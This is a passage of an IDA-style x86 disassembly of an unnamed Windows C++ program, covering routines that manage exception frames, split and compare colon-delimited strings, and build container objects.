		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016BD
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41387B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B72
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_41390E
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_41392C
; ---------------------------------------------------------------------------


loc_41390E:				; CODE XREF: sub_4137E0+10Cj
		call	sub_401226


loc_413913:				; CODE XREF: sub_4137E0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_41392C:				; CODE XREF: sub_4137E0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4137E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4139B0	proc near		; CODE XREF: sub_40191Fj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4139B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014C9
		mov	ecx, esi
		call	sub_402112
		test	eax, eax
		jz	short loc_413A5E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_40171C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	byte ptr [esp+44h+var_8], 2
		call	sub_4014C9
		mov	ecx, esi
		mov	byte ptr [esp+40h+var_8], 1
		call	sub_401F46
		test	eax, eax
		jz	short loc_413A5E
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+1Ch+var_8], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_14]
		mov	[esp+1Ch+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+1Ch+var_10]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413A5E:				; CODE XREF: sub_4139B0+3Fj
					; sub_4139B0+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_4139B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413AE0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_439B08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40191F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413B70	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413B70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413CB9
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017E4
		test	eax, eax
		jz	loc_413CB9
		push	esi
		push	edi
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413C93
		add	ebp, 54h


loc_413BF0:				; CODE XREF: sub_413B70+11Dj
		push	15h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413C10
		mov	ecx, eax
		call	sub_401F2D
		jmp	short loc_413C12
; ---------------------------------------------------------------------------


loc_413C10:				; CODE XREF: sub_413B70+95j
		xor	eax, eax


loc_413C12:				; CODE XREF: sub_413B70+9Ej
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016AE
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40200E
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_40147E
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413BF0


loc_413C93:				; CODE XREF: sub_413B70+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413CB9:				; CODE XREF: sub_413B70+26j
					; sub_413B70+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413B70	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413D40	proc near		; CODE XREF: sub_401F2Dj
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_413D40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413D60:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401861
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413DA0	proc near		; CODE XREF: sub_40189Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413DA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_401CD0
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_413F8E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_402112
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_413F8E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_413F8E
		push	offset byte_446F70
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413E87
		lea	ecx, [edi+2Ah]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017E4


loc_413E56:				; CODE XREF: sub_413DA0+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413E7A
		cmp	cl, bl
		jz	short loc_413E76
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413E7A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413E56


loc_413E76:				; CODE XREF: sub_413DA0+C0j
		xor	eax, eax
		jmp	short loc_413E7F
; ---------------------------------------------------------------------------


loc_413E7A:				; CODE XREF: sub_413DA0+BCj
					; sub_413DA0+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413E7F:				; CODE XREF: sub_413DA0+D8j
		cmp	eax, ebx
		jnz	loc_413F8E


loc_413E87:				; CODE XREF: sub_413DA0+A1j
		push	offset byte_446F70
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413EE3
		lea	ecx, [edi+3Fh]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017E4


loc_413EB2:				; CODE XREF: sub_413DA0+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413ED6
		cmp	cl, bl
		jz	short loc_413ED2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413ED6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413EB2


loc_413ED2:				; CODE XREF: sub_413DA0+11Cj
		xor	eax, eax
		jmp	short loc_413EDB
; ---------------------------------------------------------------------------


loc_413ED6:				; CODE XREF: sub_413DA0+118j
					; sub_413DA0+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413EDB:				; CODE XREF: sub_413DA0+134j
		cmp	eax, ebx
		jnz	loc_413F8E


loc_413EE3:				; CODE XREF: sub_413DA0+FAj
		push	58h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413F03
		mov	ecx, eax
		call	sub_401D07
		jmp	short loc_413F05
; ---------------------------------------------------------------------------


loc_413F03:				; CODE XREF: sub_413DA0+158j
		xor	eax, eax


loc_413F05:				; CODE XREF: sub_413DA0+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40200E
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40200E
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401406
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_413FDB
; ---------------------------------------------------------------------------


loc_413F8E:				; CODE XREF: sub_413DA0+44j
					; sub_413DA0+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_413FDB:				; CODE XREF: sub_413DA0+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413DA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414090	proc near		; CODE XREF: sub_401D07j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414090	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414120:				; CODE XREF: ___:00401DC0j
		push	0FFFFFFFFh
		push	offset loc_439C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_40189D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414210	proc near		; CODE XREF: sub_401537j
		add	ecx, 6Ch
		jmp	sub_401C62
sub_414210	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414230	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414230
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_4367FA
sub_414230	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414273
		mov	ecx, eax
		call	sub_401BE0
; ---------------------------------------------------------------------------
		jmp	short loc_414275
; ---------------------------------------------------------------------------


loc_414273:				; CODE XREF: ___:00414268j
		xor	eax, eax


loc_414275:				; CODE XREF: ___:00414271j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40200E
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40200E
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40200E
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40200E
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401EF1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414360	proc near		; CODE XREF: sub_401BE0j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401424
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414360	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414400:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_439CD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4144D0	proc near		; CODE XREF: sub_401DACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4144D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E1F
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_414580


loc_414535:				; CODE XREF: sub_4144D0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41455D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41455D:				; CODE XREF: sub_4144D0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020A4
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_414535


loc_414580:				; CODE XREF: sub_4144D0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_4145C8
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_4145A3
		push	1
		call	sub_4019DD


loc_4145A3:				; CODE XREF: sub_4144D0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_4145C8:				; CODE XREF: sub_4144D0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4144D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414640	proc near		; CODE XREF: sub_4019DDj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402220
		test	[esp+4+arg_0], 1
		jz	short loc_414658
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_414658:				; CODE XREF: sub_414640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414670	proc near		; CODE XREF: sub_402220j
		jmp	sub_401226
sub_414670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_439D20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414759


loc_4146F3:				; CODE XREF: ___:00414757j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_443C94 ; ":"
		push	esi
		push	edx
		call	sub_4016AE
		mov	ecx, ebp
		call	sub_401DAC
		cmp	al, bl
		jnz	short loc_414720
		mov	[esp+13h], bl


loc_414720:				; CODE XREF: ___:0041471Aj
		inc	esi
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4146F3


loc_414759:				; CODE XREF: ___:004146F1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4147D0	proc near		; CODE XREF: sub_40210Dj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4147D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	loc_414904
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_4148AE


loc_414844:				; CODE XREF: sub_4147D0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B72
		test	eax, eax
		jz	short loc_41487C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41488B


loc_41487C:				; CODE XREF: sub_4147D0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41488B:				; CODE XREF: sub_4147D0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
